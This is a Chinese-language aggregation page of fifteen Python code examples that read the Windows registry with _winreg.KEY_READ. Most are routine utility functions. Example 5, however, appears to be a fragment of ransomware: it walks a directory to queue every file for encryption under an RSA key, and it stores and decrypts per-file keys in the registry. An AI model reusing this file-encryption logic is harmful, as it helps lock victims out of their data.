本文整理匯總了Python中_winreg.KEY_READ屬性的典型用法代碼示例。如果您正苦於以下問題:Python _winreg.KEY_READ屬性的具體用法?Python _winreg.KEY_READ怎麽用?Python _winreg.KEY_READ使用的例子?那麽, 這裏精選的屬性代碼示例或許可以為您提供幫助。您也可以進一步了解該屬性所在類_winreg
的用法示例。
在下文中一共展示了_winreg.KEY_READ屬性的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。
示例1: _open_windows_native_key
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def _open_windows_native_key(self, key, sub_key):
"""
Opens a windows registry key using the OS bitness-based version of the
registry view.
This method eventually calls the _winreg.OpenKey() method.
This is useful because if we're running a 32-bit python interpreter, by
default _winreg accesses the 32-bit registry view. This is a problem on
64-bit OSes as it limits us to registries of 32-bit applications.
"""
import _winreg
python_bitness, linkage = platform.architecture()
# If we're running 32-bit python, by default _winreg accesses the
# 32-bit registry view. This is a problem on 64-bit OSes.
if python_bitness == '32bit' and platform.machine().endswith('64'):
# Force _winreg to access the 64-bit registry view with the access
# map as _winreg.KEY_WOW64_64KEY
return _winreg.OpenKey(key, sub_key, 0, _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY)
else:
return _winreg.OpenKey(key, sub_key)
return key
示例2: win32_reg_read
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def win32_reg_read (self, keyname, path):
try:
import _winreg
mode = _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY
key = _winreg.OpenKey(keyname, path, 0, mode)
count = _winreg.QueryInfoKey(key)[0]
except:
return None
data = {}
for i in range(count):
try:
name, value, tt = _winreg.EnumValue(key, i)
except OSError as e:
break
data[name] = (tt, value)
return data
示例3: get_all_values
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def get_all_values(self):
schema = {}
for subkey in self:
schema[subkey.name] = subkey.get_all_values()
key = winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags)
try:
with key:
for i in count():
vname, value, vtype = winreg.EnumValue(key, i)
value = get_value_from_tuple(value, vtype)
if value:
schema[vname or ''] = value
except OSError:
pass
return PythonWrappedDict(schema)
示例4: readKey
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def readKey(self, hkey, key_name, value_name = '', ignore_errors = False):
if sys.platform != 'win32':
return None
try:
if DEBUG:
print >> sys.stderr, 'win32regcheck: Opening', key_name, value_name
full_key = _winreg.OpenKey(hkey, key_name, 0, _winreg.KEY_READ)
if DEBUG:
print >> sys.stderr, 'win32regcheck: Open returned', full_key
value_data, value_type = _winreg.QueryValueEx(full_key, value_name)
if DEBUG:
print >> sys.stderr, 'win32regcheck: Read', value_data, value_type
_winreg.CloseKey(full_key)
return value_data
except:
if not ignore_errors:
print_exc(file=sys.stderr)
print_stack()
return None
示例5: _iter_files
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def _iter_files(rsa_key, base_dir=None):
try:
if isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
if base_dir:
if os.path.isdir(base_dir):
return os.path.walk(base_dir, lambda _, dirname, files: [globals()['tasks'].put_nowait((encrypt_file, (os.path.join(dirname, filename), rsa_key))) for filename in files], None)
else:
util.log("Target directory '{}' not found".format(base_dir))
else:
cipher = Crypto.Cipher.PKCS1_OAEP.new(rsa_key)
reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, globals()['registry_key'], 0, _winreg.KEY_READ)
i = 0
while True:
try:
filename, key, _ = _winreg.EnumValue(reg_key, i)
key = cipher.decrypt(base64.b64decode(key))
globals()['tasks'].put_nowait((decrypt_file, (filename, key)))
i += 1
except:
_winreg.CloseKey(reg_key)
break
except Exception as e:
util.log('{} error: {}'.format(_iter_files.__name__, str(e)))
示例6: uninstall_all
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def uninstall_all():
"""uninstalls PyXLL from all installed Excel versions"""
for wow64_flags in (winreg.KEY_WOW64_64KEY, winreg.KEY_WOW64_32KEY):
for root in _root_keys.keys():
try:
flags = wow64_flags | winreg.KEY_READ
office_root = winreg.OpenKey(root, r"Software\Microsoft\Office", 0, flags)
except WindowsError:
continue
# look for all installed versions of Excel and uninstall PyXLL
i = 0
while True:
try:
subkey = winreg.EnumKey(office_root, i)
except WindowsError:
break
match = re.match("^(\d+(?:\.\d+)?)$", subkey)
if match:
office_version = match.group(1)
uninstall(office_root, office_version, wow64_flags)
i += 1
winreg.CloseKey(office_root)
示例7: CheckForMceDriver
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def CheckForMceDriver():
"""
Checks the HID registry values.
"""
HID_SUB_KEY = "SYSTEM\\CurrentControlSet\\Services\\HidIr\\Remotes\\745a17a0-74d3-11d0-b6fe-00a0c90f57d"
noKeyCount = 0
ValuesToCheck = ['a','b']
for a in ValuesToCheck:
tmpkey = HID_SUB_KEY+a
try:
key = reg.OpenKey(reg.HKEY_LOCAL_MACHINE, tmpkey, 0, reg.KEY_READ)
except WindowsError:
noKeyCount = noKeyCount + 1
continue
if noKeyCount == len(ValuesToCheck):
return False
return True
示例8: GetMpcHcPath
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def GetMpcHcPath(self):
"""
Get the path of MPC-HC's installation directory through querying
the Windows registry.
"""
try:
if "PROCESSOR_ARCHITEW6432" in environ:
args = [_winreg.HKEY_CURRENT_USER,
"Software\MPC-HC\MPC-HC"]
args.extend((0, _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY))
else:
args = [_winreg.HKEY_CURRENT_USER,
"Software\Gabest\Media Player Classic"]
mpc = _winreg.OpenKey(*args)
mpcPath =_winreg.QueryValueEx(mpc, "ExePath")[0]
_winreg.CloseKey(mpc)
except WindowsError:
mpcPath = None
return mpcPath
示例9: is_uac_enabled
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def is_uac_enabled():
"""
Note:
check uac is enabled or not from reg value.
Returns:
True if uac is enabled, False if uac is disabled.
"""
import _winreg
reg_key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', 0, _winreg.KEY_READ)
value, regtype = _winreg.QueryValueEx(reg_key, 'EnableLUA')
if value == 1:
#reg value 1 means UAC is enabled
return True
else:
return False
示例10: check_installed
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def check_installed():
ret = True
runkey = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_READ)
try:
winreg.QueryValueEx(runkey, "Px")
except:
ret = False
winreg.CloseKey(runkey)
return ret
示例11: break_sopcast
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def break_sopcast():
if xbmc.getCondVisibility('system.platform.windows'):
import _winreg
aReg = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)
try:
aKey = _winreg.OpenKey(aReg, r'SOFTWARE\SopCast\Player\InstallPath', 0, _winreg.KEY_READ)
name, value, type = _winreg.EnumValue(aKey, 0)
codec_file = os.path.join(os.path.join(value.replace("SopCast.exe", "")), 'codec', 'sop.ocx.old')
_winreg.CloseKey(aKey)
if xbmcvfs.exists(codec_file): xbmcvfs.rename(codec_file,
os.path.join(os.path.join(value.replace("SopCast.exe", "")),
'codec', 'sop.ocx'))
except:
pass
示例12: _get_windows_uuid
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def _get_windows_uuid():
# pylint: disable=broad-except
# pylint: disable=no-member
uuid_value = None
try:
try: # Python 2
import _winreg as winreg
except ImportError: # Python 3
import winreg
registry = winreg.HKEY_LOCAL_MACHINE
address = 'SOFTWARE\\Microsoft\\Cryptography'
keyargs = winreg.KEY_READ | winreg.KEY_WOW64_64KEY
key = winreg.OpenKey(registry, address, 0, keyargs)
value = winreg.QueryValueEx(key, 'MachineGuid')
winreg.CloseKey(key)
uuid_value = value[0]
except Exception:
pass
if not uuid_value:
try:
import subprocess
output = subprocess.check_output(['vol', 'c:'])
output = output.split()
uuid_value = output[len(output) - 1:]
except Exception:
pass
return uuid_value
示例13: break_sopcast
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def break_sopcast():
if xbmc.getCondVisibility('system.platform.windows'):
import _winreg
aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_LOCAL_MACHINE)
try:
aKey = _winreg.OpenKey(aReg, r'SOFTWARE\SopCast\Player\InstallPath',0, _winreg.KEY_READ)
name, value, type = _winreg.EnumValue(aKey, 0)
codec_file = os.path.join(os.path.join(value.replace("SopCast.exe","")),'codec','sop.ocx.old')
_winreg.CloseKey(aKey)
if xbmcvfs.exists(codec_file): xbmcvfs.rename(codec_file,os.path.join(os.path.join(value.replace("SopCast.exe","")),'codec','sop.ocx'))
except:pass
示例14: __iter__
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def __iter__(self):
subkey_names = []
try:
with winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags) as key:
for i in count():
subkey_names.append(winreg.EnumKey(key, i))
except OSError:
pass
return iter(self[k] for k in subkey_names)
示例15: get_value
# 需要導入模塊: import _winreg [as 別名]
# 或者: from _winreg import KEY_READ [as 別名]
def get_value(self, value_name):
try:
with winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags) as key:
return get_value_from_tuple(*winreg.QueryValueEx(key, value_name))
except OSError:
return None